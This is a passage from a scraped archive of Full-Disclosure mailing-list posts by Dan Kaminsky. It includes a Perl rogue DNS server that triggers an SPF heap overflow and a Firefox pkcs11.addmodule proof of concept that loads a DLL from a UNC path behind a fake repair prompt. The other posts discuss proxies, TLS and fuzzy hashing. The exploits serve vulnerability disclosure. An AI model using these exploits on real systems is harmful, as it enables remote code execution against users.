flaw is such that an attacker can force arbitrary (or\nat least ASCII encoded, though no nameservers have been found that\nenforce ASCII) bytes to be copied into a buffer too small to contain\nthem.  This is a straightforward anonymous remote code execution find,\nmade interesting specifically by where the bug happens to be.\n \n\nAppendix:  Simple code to reproduce heap overflow.\n\n\n# cat spfattack.pl\n#!/usr/bin/perl\n#\n\nuse Net::DNS;\nuse IO::Socket::INET;\nuse Data::HexDump;\n\n\nmy $qclass = "IN";\nmy $ttl = 10;\n\nwhile (1){\n   my $sock = IO::Socket::INET->new(\n                                 LocalPort => '53',\n                                 Proto     => 'udp');\n   $sock->recv($newmsg, 2048);\n   my $req    = Net::DNS::Packet->new(\\$newmsg);\n   $req->print;\n   my $id = $req->header->id();\n   my @q = $req->question;\n   my $qname = $q[0]->qname;\n   my $qtype = $q[0]->qtype;\n   if($qtype eq "PTR") { next; }\n   $answer = Net::DNS::Packet->new($qname, $qtype);\n   if($qtype eq "TXT"){\n      $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype\n'v=spf1 mx +all'"));\n      $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype\n'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'"));\n   }\n   if($qtype eq "MX"){}\n\n   $answer->header->id($id);\n   $answer->header->aa(1);\n   $answer->header->qr(1);\n   $answer->print;\n   my $port =  $sock->peerport;\n   my $peer = inet_ntoa($sock->peeraddr);\n\n   $sock->shutdown(2);\n   $sock = "";\n\n   my $tempsock  = IO::Socket::INET->new(\n                                         LocalPort=>'53',\n                                         PeerAddr=>"$peer",\n                                         PeerPort=>$port,\n                                         Proto=>'udp');\n\n\n   my $newans;\n\n   $newans = $answer->data;\n   if($qtype eq "TXT"){\n     substr($newans, 44, 1, pack("c",0xff));\n     print HexDump $newans;\n   }\n   $tempsock->send($newans);\n\n\n   #my $packet = Net::DNS::Packet->new(\\$newmsg);\n}\n\nPGP Key for dan.kaminsky () ioactive com:\n\n-----BEGIN PGP PUBLIC KEY BLOCK-----\nVersion: GnuPG v1.4.5 (MingW32)\n\nmQGiBET4quERBAChQCcg/KoKkwNDpVoCfKpIFc6d86Xs+9e5yHeFg6bK8ElRUPFp\nCEgjCSu9+LB3xEJFZhw807BbXaytNqa/H6oSvuqThI053dLIjy7zl0o0yNyT6ZTQ\nKvSStycDurEthqXH0grxDVerpDiTz/B9uo3pu9HmV4SDGwpnp3klsg96zwCg+tZa\nJFZ0NeaUYBLQvRJgDBGSonUD/2GwXY+KOc7oKP/lvrdXgkSSuS4+aC9Ce0UGuX/f\n//d2pK7Z/PKPCCipMYTIk8/fIDEd8uZ8ZNdtQTe5BCtwJYJAfeP/JHIAmBlq2jvL\nk83GzaaGPvt4fyTR8uvX0t5g4AhHYL1LdyuCyTndQecewKArKVyHGYbLmPaf1fh3\ndNGAA/0Qu6BrRf65h0jzk5P9b49kJ/+xliOCq4u8oFbVJPM3QAsAc1W8D2a+rxjc\nVFgheTqf56XQk4wD9mE1r19PntwVH7FuOu71mwk6Mboz/7IGBQsh9B+pDkFPfJD8\ny2Qcueudnl7Tt8ijbQF2EBUeu1LPfWATj9b7NfMyG4ZhOzAtzrQoRGFuIEthbWlu\nc2t5IDxEYW4uS2FtaW5za3lAaW9hY3RpdmUuY29tPohgBBMRAgAgBQJE+KrhAhsj\nBgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQX74rnUOpgcD/7gCdEUsXwl+8QdGt\ntuXk/cKiayQ+ZeIAn3CaH6tN3DhJHQLkPBpLVEW7sKgCiEYEEBECAAYFAkfn9EoA\nCgkQ00k+8NKXq47fXgCff7GLg5KiT3VzjYRZ08vRfItoqE0An2C97W+GW9b61/Oa\nmP1wh492B2kAuQINBET4qwwQCACx6XPvnq5Uhb0howb4AfugArGBzdaejE7DZ4PC\nL+T9oYiW5ZJsSiB5q0X6AkoUCLHbCc1s1zbyuwFsjVSgkYTXX+zU1rJ8mI+HxDch\nNYQy5x8t1vpCeIDBzo4ylHpgpTKoINGhlc4KJv+ixZAbEB+OcTThN3mBgbF1oVdk\naw8qrYcEl4LjL00qjMmpT5BIo7r/O7HrShRGQBm4gKBG7ufjWqZ8u/+nbty2vwAo\neJ+v3Apduv9CRaDcouenmIHlx6AC321vhsyLRQrZ0lNKXC2DkYWel3+UTWIQfyws\nzj57Xi8XNHcjcBWd5SOpuBJQ5ZHn68H3ACpGZ86/+LqlQNlPAAMFB/0eOZYgz8LN\nDkgsFQR0Hg4htWWPXAg8QPJs+wXrcP1hLL3z3ljUPPKHUDD+pAh7AR8MH2iGsD0J\nf1ArP7vZiXJCZzPOTwtOZZccpnapckpJA57cy7aEX5y3VESrYCgbtL7pS9ZQZP9Q\nDKsBJ6WqBcxjHljRwlfVnHu+H/ogJEN2EngM04D4ePck8eeCZfYftM2mlpfDAeiD\nUtSfS+I2Vdg7//g4XDV/PCfA8s9U5oQ2Q+S/8di44c1iIX7w2rhYEHh+u3hqOQeD\neHj7expH6gfgYE77uBnY6342j4PJdF3fDgndoQ31lPORbgafUy11VzNQJ1V8rft0\ngXkz+UhvgewBiEkEGBECAAkFAkT4qwwCGwwACgkQX74rnUOpgcD4IwCfWvJwxRu6\n5auog7Ke5X1f1z1Od3kAnRUI5tjRjUR3i3MI5g9V1L0ZbCVn\n=N3MT\n-----END PGP PUBLIC KEY BLOCK-----\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2009/Sep/91", "subject": "Firefox <3.0.14 Multiplatform RCE via\tpkcs11.addmodule", "index_author": "Dan Kaminsky (Sep 10)", "frm": "Dan Kaminsky ", "date": "Thu, 10 Sep 2009 21:11:33 +0200", "body_html": "\n
Fix announce:\nhttp://www.mozilla.org/security/announce/2009/mfsa2009-48.html\nBug history: https://bugzilla.mozilla.org/show_bug.cgi?id=326628\n\nSo, Firefox up through 3.0.13 had an obscure little function under\nwindow.pkcs11:\n\n long                      addmodule(in DOMString moduleName,\n                                     in DOMString libraryFullPath,\n                                     in long cryptoMechanismFlags,\n                                     in long cipherFlags);\n\nYes, that's actually the full path to a DLL -- or an .so on Linux/OSX --\nfrom a JS function that's exposed to the web.\n\nAttacker doesn't get zero click install -- there's a dialog -- but:\n\n1) Attacker does get to customize the dialog via moduleName\n2) The dialog is modal, so the user doesn't get access to Firefox again\nuntil they hit OK (can't even close Firefox)\n3) On Windows, he can put a UNC path in for the Library path.  There's\nprobably similar on OSX and some Linux distros.  Even without, there's\nusually a way to get a file in a known location -- see John Heasman's Java\nwork.\n\nLoadLibrary of Attacker library on OK.\n\nRepro:\n\n<body>\n<script>\n\n  var str = "Error detected in Firefox Module NSP31337.bin.\\n" +\n           "Please click 'OK' to repair."\n\n  ret=-2;\n  while(ret!=-5){\n     ret=window.pkcs11.addmodule("\\n\\n\\n" + str + "\\n\\n\\n",\n"\\\\\\\\127.0.0.1\\\\c$\\\\\npkunkcs", 0, 0);\n  }\n\n</script>\n\n"Shellcode" is just a DLL with ShellExecute in the constructor:\n\nCpkunkcsApp::CpkunkcsApp()\n{\n\n    char *str = "c:\\\\windows\\\\system32\\\\calc.exe";\n    wchar_t *wText;\n    size_t len;\n\n    len = strlen(str)+1;\n\n    wText = new wchar_t[strlen(str)];\n    memset(wText, 0, len * sizeof(wchar_t));\n\n    ::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len);\n\n    ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW);\n\n}\n\nCheers to Jesse Ruderman, who recognized this was probably not the greatest\nof API's some time ago.  The bug history is worth taking a look at...goes\nback a while.  They missed the UNC path vector, and appear to have\nunderestimated the modal dialog.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2009/Sep/96", "subject": "Re: Plain Text Password Disclosure vulnerability\tin rediff mail", "index_author": "Dan Kaminsky (Sep 10)", "frm": "Dan Kaminsky ", "date": "Fri, 11 Sep 2009 02:36:00 +0200", "body_html": "\n
Beyond that, most web applications that do use SSL, still forget to set\ntheir cookies to secure (see\nhttp://fscked.org/blog/incomplete-list-alleged-vulnerable-sites ).  Not to\nmention the hordes of sites that have SSL logins off HTTP pages.  Even the\noft-repeated "well, the attacker won't get the plaintext password" claim\nfalls to the attacker who inserts some screen or keyboard sniffing JS into\nthe login page.\n\nThat being said, there probably is some class of attacker that can only do\npassive monitoring as opposed to active interception.  But it's not exactly\na quantization to hang one's hat on.\n\n\nOn Thu, Sep 10, 2009 at 5:36 PM, awf awf <lol-wut-hurr () live com> wrote:\n\n
 And?  Every web application sends passwords as plain text unless they are\nusing SSL.  Pretty much any "encryption" that they may do client side that\nisn't SSL is meaningless.  I hardly see how being able to sniff passwords\nfrom a site that isn't using SSL is big news.\n\n------------------------------\nWindows Live: Make it easier for your friends to see what you\u00e2\u0080\u0099re up to on\nFacebook. Find out \nmore.<http://windowslive.com/Campaign/SocialNetworking?ocid=PID23285::T:WLMTAGL:ON:WL:en-US:SI_SB_facebook:082009>\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2009/Dec/225", "subject": "Re: Revenge of the Computer Nerds", "index_author": "Dan Kaminsky (Dec 09)", "frm": "Dan Kaminsky ", "date": "Wed, 9 Dec 2009 17:21:47 -0800", "body_html": "\n
Yes, because when I want technical data, I go to a right wing blog\n\nhttp://www.jgc.org/blog/2009/11/very-artificial-correction-flap-looks.html\n\n(Bonus points:  Check the dates)\n\n\nOn Wed, Dec 9, 2009 at 4:25 PM, Ivan . <ivanhec () gmail com> wrote:\n\n
But the real action (and the evidence for chicanery) is in the\ncomputer code obtained from the CRU. Our own computer guru Marc\nSheppard, writing for American Thinker here and here, was one of the\nfirst to offer an accurate diagnosis of this fraudulent method of\ncomputer programming. Analyzing the code, as Marc has indicated in his\nwork, is a complex business. As he pleads in one article, "please bear\nwith me while I get a tad techie on you."\n\n\nhttp://www.americanthinker.com/2009/12/revenge_of_the_computer_nerds_1.html?utm_source=twitterfeed&utm_medium=twitter\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2009/Dec/346", "subject": "Re: Google Chrome 3.0.195.33 leaks DNS data\tqueries outsitde of proxy if dns pre-fetching is enabled", "index_author": "Dan Kaminsky (Dec 15)", "frm": "Dan Kaminsky ", "date": "Tue, 15 Dec 2009 13:39:34 -0800", "body_html": "\n
Nix,\n\n   Proxies are not a security technology in the way you think they are.\n\n   Way back in the day, NAT didn't exist.  In order for large numbers of\nusers to share small number of IP addresses, application layer gateways --\nproxies -- needed to be written such that a backend client could "ask" for\nconnectivity through the one host on the network that had direct Internet\naccess.  Some of these proxies were protocol specific (HTTP, FTP, Gopher),\nand some were more generic (SOCKS4/5).\n\n   While there were toolkits that allowed transparent proxying to be loaded\ninto any network application -- so called "socksifiers" -- they were always\na little unstable and obtuse.  So any application that wanted to function in\na corporate environment eventually got proxy support built right into the\nUI.\n\n   This wasn't for security.  It was the 90's, nobody did *anything* for\nsecurity.  It was just for connectivity.\n\n   There are some implications to this.  While the UI declares proxies MAY\nbe used, it doesn't actually mean they MUST be used.  More protocols than\nHTTP are accessible via the web browser.  Do you think SMB uses the browser\nconfigured proxies?  What about Flash and Java sockets?  And even if they\ndid use the proxies, SOCKS4 didn't even support remote DNS in its first\nincarnation; that supported was added unofficially in SOCKS4a and officially\nin SOCKS5.  To this day, Firefox can't turn remote DNS on by default,\nbecause so many of the proxies have buggy implementations of it.\n\n   The TOR guys are aware of all of this, of course.  The approach they've\nbeen working on has been to virtualize the entire network stack of the\nWindows instance behind a Linux VM.  That's the only real way to prevent\nleaks.  Playing whack-a-mole at the application layer is ultimately\npointless.  If you want to prevent network traffic from leaking, you really\nneed full access to all traffic.\n\n--Dan\n\n\nOn Tue, Dec 15, 2009 at 1:01 PM, nixlists <nixmlists () gmail com> wrote:\n\n
The point is besides the fact that you can configure Chrome to proxy\nthrough Tor or anything else, Chrome is not supposed to leak DNS -\nit's  a bug that Firefox currently does not have for instance. Many\nusers use proxies to avoid corporate and other firewalls, and to\nprevent leakage of information a suppressive government will throw\nthem in jail for - China for instance. Tor just makes a good example.\nIT IS IMPORTANT FOR UNWITTING USERS TO KNOW ABOUT THIS BUG. They may\nbe thinking that Chrome is safe for proxies.\n\nThe other OT issue about Chrome is of course even despite you using a\nproxy the right way all the real information about you will be found\non Google's servers anyway because Chrome has a lot of hidden\ninformation collecting eggs that Google won't talk about. The company\nhas decided that privacy does not matter long time ago. And if it does\nmatter for you - well according to Google then you are a criminal.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2009/Dec/377", "subject": "Re: (no subject)", "index_author": "Dan Kaminsky (Dec 16)", "frm": "Dan Kaminsky ", "date": "Wed, 16 Dec 2009 23:24:10 -0800", "body_html": "\n
Easily the best environment for packet manipulation is scapy.\n\nThe most guaranteed to work approach involves putting a system with two\ninterfaces in as an attacker, and running two scapy processes that copy\nframes received on one interface onto the other one.  Of course, your copier\nparses the frames, changes what needs to be changed, fixes up checksums,\netc.\n\nThere are other approaches that are preferable for all sorts of reasons, but\nthe above means you don't need to fight with ARP or addresses or firewall\nrules or the kernel.  (Proxy ARP, mangle tables, yadda yadda yadda.)\n\n2009/12/16 \u00ea\u00b9\u0080\u00eb\u00ac\u00b4\u00ec\u0084\u00b1 <kimms () infosec co kr>\n\n
 Hello. List.\n\n\n\nI'm pentesting IPTV.\n\n\n\nOur IPTV network structure is this.\n\n\n\nMonitor - IPTV - VDSL modem - ISP\n\n\n\nSo, for packet manipulation\n\nI have to ARP spoofing or change network structure\n\n\n\nMonitor - IPTV - attacker - VDSL modem - ISP\n\n\n\nBut, I don't know IPTV SetupBox(STB)'s netmask and gateway address.\n\nSo I wanna make this network\n\n\n\nMonitor - IPTV - attacker - VDSL modem - ISP\n\n\n\nAttacker is a computer.\n\nThis computer have two NIC.\n\nTwo NIC only transmit and receive packet. They have no IP address.\n\nI wanna manipulate this packet's field\n\n\n\nDo you know how make this network?\n\nDo you know tools that manipulate every packet (http, rstp, igmp, etc,.)?\n\n\n\nThanks\n\nKIM\n\n\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/28", "subject": "Re: [Tool] DeepToad 1.1.0", "index_author": "Dan Kaminsky (Jan 05)", "frm": "Dan Kaminsky ", "date": "Tue, 5 Jan 2010 15:51:02 +0100", "body_html": "\n
I looked into a fair amount of this sort of normalization back when I was\nplaying with dotplots.  The idea was to upgrade from simple Levenshtein\nstring comparison (with no knowledge of variable length x86 instructions,\npointers that shift from compile to compile, etc) to something with at least\nsome domain specific knowledge.  What I found, somewhat surprisingly, was\nthat dumb string comparison was more than enough.  In fact, when I compared\npre-patch and post-patch builds, it was easy to directly see when content\nwas added, removed, shifted in location, etc.  Joxean's going to have much\nthe same result -- as basic as his similarity metric is, he'll get the broad\nstrokes just fine.\n\nUltimately the best approach is to build a graph of how functions interact\nand measure graph isomorphism, but of course Halvar figured that out years\nago :)\n\nOn Tue, Jan 5, 2010 at 3:41 PM, T Biehn <tbiehn () gmail com> wrote:\n\n
Hmm,\nWouldn't it be more useful to the sec community to have a algorithm\nthat abstracts at the -interpreted- content level? That is when\nanalyzing binaries I wouldn't think that this would classify two with\nnear identical functionality together, even though it is removing a\nsignificant chunk of information during the hash pass.\n\nI would largely assume that your algorithm, as is, works best on\nuncompressed bitmaps. Is there something I'm missing?\n\n-Travis\n\nOn Sun, Jan 3, 2010 at 6:37 AM, Joxean Koret <joxeankoret () yahoo es> wrote:\n
Hi all,\n\nI'm happy to announce the very first public release of the open source\nproject DeepToad, a tool for computing fuzzy hashes from files.\n\nDeepToad can generate signatures, clusterize files and/or directories\nand compare them. It's inspired in the very good tool ssdeep [1] and, in\nfact, both projects are very similar.\n\nThe complete project is written in pure python and is distributed under\nthe LGPL license [2].\n\nLinks:\nProject's Web Page http://code.google.com/p/deeptoad/\nDownload Web Page http://code.google.com/p/deeptoad/downloads/list\nWiki http://code.google.com/p/deeptoad/w/list\n\nReferences:\n[1] http://ssdeep.sourceforge.net/\n[2] http://www.gnu.org/licenses/lgpl.html\n\nRegards && Happy new year!\nJoxean Koret\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n\n--\nFD1D E574 6CAB 2FAF 2921  F22E B8B7 9D0D 99FF A73C\nhttp://pgp.mit.edu:11371/pks/lookup?search=tbiehn&op=index&fingerprint=on\nhttp://pastebin.com/f6fd606da\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/32", "subject": "Re: [Tool] DeepToad 1.1.0", "index_author": "Dan Kaminsky (Jan 05)", "frm": "Dan Kaminsky ", "date": "Tue, 5 Jan 2010 16:08:44 +0100", "body_html": "\n
Joxean's stuff is similar to Nilsimsa or (as he mentions) ssdeep, in that\nit'll find mostly similar instances of the same underlying data, assuming\nonly small bit-level changes (such as from version shifts).  It's obviously\nnot a magic unpacker of any arbitrary virus, though.\n\nHis stuff, by its very nature, is a fuzzy similarity metric, meaning if you\nrun it on small chunks of a file sequentially you can get fuzzy diff.\n\nDetecting multiple files of the same file type is actually a different\nproblem, and sort of an interesting one.  The best thing to do here is take\na large number of samples that *are* your file type, and then a large number\nof samples that *are not* your file type (and are not the same other\nnot-the-right-type), and look for either strings or statistical patterns\nthat show up in the member set and not in the alternate.  These fingerprints\nare then sought in other samples.\n\nIt's not terribly common that you actually need to do this though.  Browsers\nneed to do this a bit because MIME types are wonky.  They do this\noptimization by hand though.\n\n\nOn Tue, Jan 5, 2010 at 3:56 PM, T Biehn <tbiehn () gmail com> wrote:\n\n
I can see what you're saying, it could be useful for finding\ndifferences in different versions of the same binary but from what I\ncan see Joxean's app is meant to group files of the same 'type,' not\nprovide 'diff' capabilities.\n\n-Travis\n\nOn Tue, Jan 5, 2010 at 9:51 AM, Dan Kaminsky <dan () doxpara com> wrote:\n
I looked into a fair amount of this sort of normalization back when I was\nplaying with dotplots.  The idea was to upgrade from simple Levenshtein\nstring comparison (with no knowledge of variable length x86 instructions,\npointers that shift from compile to compile, etc) to something with at\n
least\n
some domain specific knowledge.  What I found, somewhat surprisingly, was\nthat dumb string comparison was more than enough.  In fact, when I\n
compared\n
pre-patch and post-patch builds, it was easy to directly see when content\nwas added, removed, shifted in location, etc.  Joxean's going to have\n
much\n
the same result -- as basic as his similarity metric is, he'll get the\n
broad\n
strokes just fine.\n\nUltimately the best approach is to build a graph of how functions\n
interact\n
and measure graph isomorphism, but of course Halvar figured that out\n
years\n
ago :)\n\nOn Tue, Jan 5, 2010 at 3:41 PM, T Biehn <tbiehn () gmail com> wrote:\n
\n\nHmm,\nWouldn't it be more useful to the sec community to have a algorithm\nthat abstracts at the -interpreted- content level? That is when\nanalyzing binaries I wouldn't think that this would classify two with\nnear identical functionality together, even though it is removing a\nsignificant chunk of information during the hash pass.\n\nI would largely assume that your algorithm, as is, works best on\nuncompressed bitmaps. Is there something I'm missing?\n\n-Travis\n\nOn Sun, Jan 3, 2010 at 6:37 AM, Joxean Koret <joxeankoret () yahoo es>\n
wrote:\n
Hi all,\n\nI'm happy to announce the very first public release of the open source\nproject DeepToad, a tool for computing fuzzy hashes from files.\n\nDeepToad can generate signatures, clusterize files and/or directories\nand compare them. It's inspired in the very good tool ssdeep [1] and,\n
in\n
fact, both projects are very similar.\n\nThe complete project is written in pure python and is distributed\n
under\n
the LGPL license [2].\n\nLinks:\nProject's Web Page http://code.google.com/p/deeptoad/\nDownload Web Page http://code.google.com/p/deeptoad/downloads/list\nWiki http://code.google.com/p/deeptoad/w/list\n\nReferences:\n[1] http://ssdeep.sourceforge.net/\n[2] http://www.gnu.org/licenses/lgpl.html\n\nRegards && Happy new year!\nJoxean Koret\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n\n--\nFD1D E574 6CAB 2FAF 2921  F22E B8B7 9D0D 99FF A73C\n\n
http://pgp.mit.edu:11371/pks/lookup?search=tbiehn&op=index&fingerprint=on\n
http://pastebin.com/f6fd606da\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n\n
\n\n\n\n--\nFD1D E574 6CAB 2FAF 2921  F22E B8B7 9D0D 99FF A73C\nhttp://pgp.mit.edu:11371/pks/lookup?search=tbiehn&op=index&fingerprint=on\nhttp://pastebin.com/f6fd606da\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/58", "subject": "Re: HTTP Digest Integrity: Another look,\tin light \tof recent attacks", "index_author": "Dan Kaminsky (Jan 05)", "frm": "Dan Kaminsky ", "date": "Wed, 6 Jan 2010 08:59:37 +0100", "body_html": "\n
I haven't been wildly impressed by Digest as implemented in browsers, but\nit's a legitimate point that Digest has of at least *some* of the URI\nembedded into it, so the TLS reneg attack can be somewhat mitigated by\nleveraging that.  Empirically though, this is going to be a big pain in the\nbutt, not least of which is the dramatic change to the user experience.\n\nUltimately, far and away the most common forms of auth are cookie based,\nwith hidden variables being a close second.  In both of these the password\nis accessible to the DOM.  So the raw material is there to add an integrity\nlayer to at least sensitive HTTPS transactions (everything is worthless for\nHTTP).  But an advantage of your approach is that it applies generically to\nall browser/site communication, including Javascript containers like <script\nsrc> and <link rel=stylesheet>.  There's no way to register a hook that gets\ntriggered whenever a site hits a particular URI within a domain, to add the\nvalidator, in JS.  It just happens in Digest.\n\n\nOn Wed, Jan 6, 2010 at 2:15 AM, Timothy D. Morgan <tmorgan () vsecurity com>wrote:\n\n
\n\nHello,\n\nSome of you may be interested in this short technical note which\nincludes some recent observations about TLS renegotiation and other\nissues:\n http://www.vsecurity.com/download/papers/HTTPDigestIntegrity.pdf\n\nComments welcome,\ntim\n\n\n\nIntroduction\n============\nRecent history has proven that web communications security is highly\nlacking in redundancy.  That is, simple breaks in common protocols,\nsuch as SSL/TLS or the authentication mechanisms which support it,\noften lead to catastrophic gaps in security.  Recent examples of this\nfragile architecture abound, and even when protocols and\nimplementations themselves are sound, research indicates browser user\ninterfaces continue to leave room for serious attacks.\n\nThis paper explores how the seldom-used HTTP digest authentication\nprotocol can be used to mitigate certain recent forms of attack,\nincluding SSL/TLS renegotiation and some types of HTTP request\nsmuggling.\n\n...\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/77", "subject": "Re: HTTP Digest Integrity: Another look,\tin light \tof recent attacks", "index_author": "Dan Kaminsky (Jan 07)", "frm": "Dan Kaminsky ", "date": "Thu, 7 Jan 2010 12:15:10 +0100", "body_html": "\n
On Thu, Jan 7, 2010 at 3:17 AM, Timothy D. Morgan <tmorgan () vsecurity com>wrote:\n\n
\n\nHi Dan,\n\nThanks for taking the time to read it.\n\n
I haven't been wildly impressed by Digest as implemented in\nbrowsers,\n
\n\nHeh, no doubt.  When you look into it, it's quite sad how incomplete\nand inconsistent many implementations are.\n\n\n
The problem is that browser developers have basically been locked out of the\nUI experience for some time, so there hasn't been much push to improve.\nPasswords in forms is the gold standard.  Microsoft tried to address some of\nthis with Cardspace...didn't work out all that well.\n\n\n
but it's a legitimate point that Digest has of at least *some* of the URI\nembedded into it, so the TLS reneg attack can be somewhat mitigated by\nleveraging that.  Empirically though, this is going to be a big pain in\n
the\n
butt, not least of which is the dramatic change to the user experience.\n
\n\nYes, there are some serious limitations to the user interface with\nDigest auth.  I have some ideas for that, which may be cooked up in a\nfuture paper.  Stay tuned.\n\n
\n\nHappy to review when it's available.\n\n\n
The level of mitigation right now against TLS renegotiation attacks\nmay be contestable.  In fact I'd love to hear of any exploits which\nworkaround digest auth restrictions.  Mostly though, I just wanted\nto throw it out there as food for thought and to give people a\npossible option if their hair was still on fire after hearing of this\nlatest bug.\n\nWhat's neat about your stuff is that the GET request becomes somewhat\n
inviolate.  What sucks is that the attacker can still play games shifting to\nunauthenticated content, making a Range-Request, changing the Host to\nsomething else behind the same load balancer, etc.\n\nUltimately, we need to fix TLS, and that's so amazingly hard.\n\n\nI've seen people try to do similar challenge-response protocols in\n
JavaScript, but I've never taken the time to think carefully about how\nmuch benefit that provides.  Hashing request bodies might be useful\nagainst TLS renegotiation, but I'm not sure how verification of\nresponses would work.  I guess with lots of AJAX and a lack of\nchecking on the first response.  Seems like a lot of work though.\n\nWell, there hasn't been a benefit before, because the right answer was\n
always "just use TLS".  Now TLS has its issues.\n\nYou're absolutely correct that it's an impossible pain in the butt.  WS-*\nkinda does it though already.\n\n\n
\n\nRegards,\ntim\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/100", "subject": "Re: Geolocation Question", "index_author": "Dan Kaminsky (Jan 07)", "frm": "Dan Kaminsky ", "date": "Thu, 7 Jan 2010 17:45:07 +0100", "body_html": "\n
\nThey're using wardriving. See www.wigle.net or skyhook.\n\n\n\n
On Jan 7, 2010, at 10:26 AM, "McGhee, Eddie" <Eddie.McGhee () ncr com> \nwrote:\n
\n\n
\nhttp://www.theregister.co.uk/2010/01/05/geo_location_stealing_hack/\n\nI am sure most of you would have seen this yesterday at some point.\n\n
I only have one question how does Google get the information of MAC \naddress's and locations.\n
\n\n
I change my MAC quite a lot on my router when needing a new IP \naddress if mitigating any attacks etc so does the ISP share this \ninfo with Google?\n
\n\nIsn't that a breach of privacy laws if this is the case?\n\n
If it is not the case then how does it pinpoint locations via MAC \naddress? Bearing in mind ARP is a non routable protocol..\n
\n\n
p.s this worked for me and my friend around 1 mile away and the \naccuracy was perfect!! I would got to say it got my house and \nfriends by 10 metres max! My other friend same ISP maybe 2-3 miles \naway shows nothing from his MAC.\n
\n\nCheers!\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/110", "subject": "Re: Geolocation Question", "index_author": "Dan Kaminsky (Jan 07)", "frm": "Dan Kaminsky ", "date": "Thu, 7 Jan 2010 23:07:01 +0100", "body_html": "\n
No, he uses an XSS against the router to pull its wireless MAC, and then\nputs that into Firefox's location services API.  That bounces off various\nwardriving sources and comes up with a latlong.\n\nOn Thu, Jan 7, 2010 at 10:56 PM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Thu, 07 Jan 2010 04:26:26 EST, "McGhee, Eddie" said:\n\n
I only have one question how does Google get the information of MAC\n
